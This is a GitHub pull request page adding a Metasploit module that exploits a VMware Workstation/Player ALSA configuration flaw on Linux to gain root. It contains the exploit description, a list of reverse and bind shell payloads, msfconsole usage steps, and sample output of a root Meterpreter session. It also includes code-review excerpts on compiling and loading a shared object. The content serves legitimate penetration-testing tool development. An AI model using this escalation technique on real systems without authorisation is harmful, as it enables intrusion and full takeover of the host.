New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add VMware Workstation ALSA Config File Local Privilege Escalation module #8581

Merged
merged 7 commits into from Jan 4, 2018

Conversation

Projects
None yet
5 participants
@bcoles
Copy link
Contributor

bcoles commented Jun 18, 2017

This PR adds VMware Workstation ALSA Config File Local Privilege Escalation exploit module.

    This module exploits a vulnerability in VMware Workstation Pro and
    Player on Linux which allows users to escalate their privileges by
    using an ALSA configuration file to load and execute a shared object
    as root when launching a virtual machine with an attached sound card.

    This module has been tested successfully on VMware Player version
    12.5.0 on Debian Linux.

This module works reliably with the following payloads through both meterpreter and shell sessions:

  • linux/x64/meterpreter_reverse_tcp
  • linux/x64/meterpreter_reverse_http
  • linux/x64/meterpreter_reverse_https
  • linux/x64/meterpreter/bind_tcp
  • linux/x64/meterpreter/reverse_tcp
  • linux/x64/shell/reverse_tcp
  • linux/x64/shell/bind_tcp

The module does not work with:

  • generic/shell_bind_tcp
  • generic/shell_reverse_tcp

It's also worth noting that this module makes extensive use of Rex.sleep 0.5 between shell commands. This was required due to an unknown issue in how metasploit buffers commands for meterpreter sessions (tested with PHP meterpreter). Without sleeping, the module will hang then fail at random intervals. With the sleeps the module runs perfectly.

Verification

  • Start msfconsole
  • Get a session
  • use exploit/linux/local/vmware_alsa_config
  • set SESSION 1
  • check
  • Verify something happens
  • run
  • Verify you get a root session

Sample Output

msf exploit(vmware_alsa_config) > run

[!] SESSION may not be compatible with this module.
[*] Started bind handler
[+] Target version is vulnerable
[*] Launching VMware Player...
[*] Sending stage (2849784 bytes) to 172.16.191.216
[*] Meterpreter session 2 opened (172.16.191.181:35024 -> 172.16.191.216:8877) at 2017-06-18 06:32:44 -0400
[*] Removing /tmp/.OgzytA
[*] Removing /home/user/.asoundrc

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo 
Computer     : 172.16.191.216
OS           : Debian 8.8 (Linux 3.16.0-4-amd64)
Architecture : x64
Meterpreter  : x64/linux

Sample Output (Verbose)

msf exploit(vmware_alsa_config) > run

[!] SESSION may not be compatible with this module.
[*] Started bind handler
[+] vmplayer is installed
[+] gcc is installed
[*] VMware is version 12.5.0
[+] Target version is vulnerable
[*] Writing /tmp/.IR2EISI/IR2EISI.c
[*] Compiling /tmp/.IR2EISI/IR2EISI.o
[*] Writing /tmp/.IR2EISI/IR2EISI.vmx
[*] Writing /tmp/.IR2EISI/IR2EISI.elf
[*] Setting /tmp/.IR2EISI/IR2EISI.elf executable
[*] Writing /home/user/.asoundrc
[*] Launching VMware Player...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2849784 bytes) to 172.16.191.216
[*] Meterpreter session 3 opened (172.16.191.181:52923 -> 172.16.191.216:8877) at 2017-06-18 06:35:03 -0400
[*] Removing /tmp/.IR2EISI
[*] Removing /home/user/.asoundrc

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 172.16.191.216
OS           : Debian 8.8 (Linux 3.16.0-4-amd64)
Architecture : x64
Meterpreter  : x64/linux
@kernelsmith

This comment has been minimized.

Copy link
Contributor

kernelsmith commented Jun 19, 2017

@bcoles I think you need to run msftidy on your module, it seems to be using tabs instead of 2 spaces for indentation. You may want to check out CONTRIBUTING.md for more info.

@kernelsmith
Copy link
Contributor

kernelsmith left a comment

Sorry, I didn't mean to make this an official github review. Thanks for the submission!

end

def has_prereqs?
def check_vmplayer?

This comment has been minimized.

@kernelsmith

kernelsmith Jun 19, 2017

Contributor

There's no reason to define these methods within the has_prereqs? method. It's very rare to need this kind of nesting. Just break out the other two methods to be at the same scope level as has_preqs? and call them from within has_prereqs?. Also, there's no need to use the "return" keyword here, the method will automatically return the value returned from the last thing evaluated

This comment has been minimized.

@bcoles

bcoles Jun 20, 2017

Contributor

A couple of other Linux local exploits do this, but I'll change it.

# grep -rn 'def has_prereqs' modules/exploits/linux/local/ -A 2
modules/exploits/linux/local/overlayfs_priv_esc.rb:167:    def has_prereqs?()
modules/exploits/linux/local/overlayfs_priv_esc.rb-168-      gcc = cmd_exec('which gcc')
modules/exploits/linux/local/overlayfs_priv_esc.rb-169-      if gcc.include?('gcc')
--
modules/exploits/linux/local/vmware_alsa_config.rb:60:  def has_prereqs?
modules/exploits/linux/local/vmware_alsa_config.rb-61-    def check_vmplayer?
modules/exploits/linux/local/vmware_alsa_config.rb-62-      vmplayer = cmd_exec 'which vmplayer'
--
modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb:111:    def has_prereqs?()
modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb-112-      vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb-113-      if target.name == "Ubuntu"
--
modules/exploits/linux/local/ntfs3g_priv_esc.rb:196:    def has_prereqs?()
modules/exploits/linux/local/ntfs3g_priv_esc.rb-197-      def check_gcc?()
modules/exploits/linux/local/ntfs3g_priv_esc.rb-198-        gcc = cmd_exec('which gcc')
--
modules/exploits/linux/local/recvmmsg_priv_esc.rb:297:    def has_prereqs?()
modules/exploits/linux/local/recvmmsg_priv_esc.rb-298-      gcc = cmd_exec('which gcc')
modules/exploits/linux/local/recvmmsg_priv_esc.rb-299-      if gcc.include?('gcc')
--
modules/exploits/linux/local/bpf_priv_esc.rb:395:    def has_prereqs?()
modules/exploits/linux/local/bpf_priv_esc.rb-396-      def check_libfuse_dev?()
modules/exploits/linux/local/bpf_priv_esc.rb-397-        lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
Rex.sleep 0.5
if vmplayer.include? 'vmplayer'
vprint_good 'vmplayer is installed'
return true

This comment has been minimized.

@kernelsmith

kernelsmith Jun 19, 2017

Contributor

you don't need to use return here or in the else either, just use true and false and one of those two will always be returned depending on which part of the if statement is evaluated

def check
unless has_prereqs?
print_error 'Target missing prerequisites'
return CheckCode::Safe

This comment has been minimized.

@kernelsmith

kernelsmith Jun 19, 2017

Contributor

this use of return is good because you obviously don't want the code to continue executing after this point

return
end

@home_dir = cmd_exec 'echo ~'

This comment has been minimized.

@kernelsmith

kernelsmith Jun 19, 2017

Contributor

I believe you'll have better luck using 'echo ${HOME}' here. The ~ may not work in certain shell types


@home_dir = cmd_exec 'echo ~'
Rex.sleep 0.5
if @home_dir.nil?

This comment has been minimized.

@kernelsmith

kernelsmith Jun 19, 2017

Contributor

you don't need to check for nil explicitly here, use unless @home_dir which is preferred, but the same as if !@home_dir. Side note, never use unless @blah;else other_stuff;end. "Unless-with-else" is universally hated

This comment has been minimized.

@egypt

egypt Jun 20, 2017

Contributor

I personally prefer if foo.nil? over unless

This comment has been minimized.

@kernelsmith

kernelsmith Jun 20, 2017

Contributor

I guess ultimately it's egypt vs the Ruby style guide, and egypt usually wins ;) I personally stay away from it because it doesn't do what I expect when foo is false, vs nil. Sometimes of course you know foo can't be false, but I'm too dumb to remember when I can and can't trust foo.

vprint_status "Compiling #{@base_dir}/#{fname}.o"
output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99"
Rex.sleep 0.5
unless output.eql? ''

This comment has been minimized.

@kernelsmith

kernelsmith Jun 19, 2017

Contributor

why not unless output == '' here?

This comment has been minimized.

@bcoles

bcoles Jun 19, 2017

Contributor

I though .eql? was Ruby best practice for string comparison. Turns out eql? is for hash key comparison and == is fine from string comparison.

Edit: Also .eql? is less prone to equals vs double equals errors.

cmd_exec "mkdir #{@base_dir}"
Rex.sleep 0.5

so = %Q^

This comment has been minimized.

@kernelsmith

kernelsmith Jun 19, 2017

Contributor

Someone else will have to weigh-in here, but I don't think they want to have compile-needing code embedded like this, I think they prefer it to be a separate file. I could be wrong however.

This comment has been minimized.

@bcoles

bcoles Jun 19, 2017

Contributor

A bunch of Linux local exploits do this.

Edit Also installing VMware Workstation/Player requires gcc to be installed.

This comment has been minimized.

@kernelsmith

kernelsmith Jun 20, 2017

Contributor

"Other code does this too" is sometimes good and sometimes bad because some code is over 10 years old and hasn't been retroactively updated, but I agree w/you, looks pretty common even in more modern modules. Even @egypt wrote a module that does this, so definitely disregard my comment

bcoles added some commits Jun 20, 2017

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Jun 20, 2017

TODO

  • Write documentation
  • Replace Rex.sleep 5 with WfsDelay
  • Disable hints in user's preferences to prevent popups which could hinder exploitation
    • hints.hideAll = "TRUE" in ~/.vmware/preferences

bcoles added some commits Jun 20, 2017

end
end

if prefs.nil? || prefs == ''

This comment has been minimized.

@kernelsmith

kernelsmith Jun 20, 2017

Contributor

You could use if prefs.blank here, which covers both nil and ''. I know there was some debate about this years ago because .blank comes from Rails and thus creates a dependency on it, but I don't know how that debate turned out, @egypt is there an established preference on that?

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Aug 14, 2017

A note on where we're at with this.

Rex.sleep is no longer required now that #8721 has been resolved. (A sleep is still required for PHP Meterpreter as per #8722 but that shouldn't block this PR).

I have changes in my local repo to remove sleep and also address the .blank? style change mentioned above.

This PR is now blocked on #8018 to add a reg_dir_for_cleanup method. Using this method will make the module much cleaner and safer than using rm -rf.

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Dec 30, 2017

I've removed the sleeps now that the Meterpreter bugs have been fixed.

No need to wait for a reg_dir_for_cleanup method to be implemented.

This module is ready for review.

@busterb busterb merged commit c153788 into rapid7:master Jan 4, 2018

2 checks passed

Metasploit Automation - Test Execution Successfully ran `autoPayloadTest.py`.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

busterb added a commit that referenced this pull request Jan 4, 2018

@busterb

This comment has been minimized.

Copy link
Contributor

busterb commented Jan 4, 2018

Thanks @bcoles, looks good.

I have another PR that should solve some more of the rex waiting between commands issues, will retest once that lands

@busterb

This comment has been minimized.

Copy link
Contributor

busterb commented Jan 4, 2018

Release Notes

This adds a module exploiting a vulnerability in VMware Workstation Pro and Player on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card.

@bcoles bcoles deleted the bcoles:vmware_alsa_config branch Jan 4, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment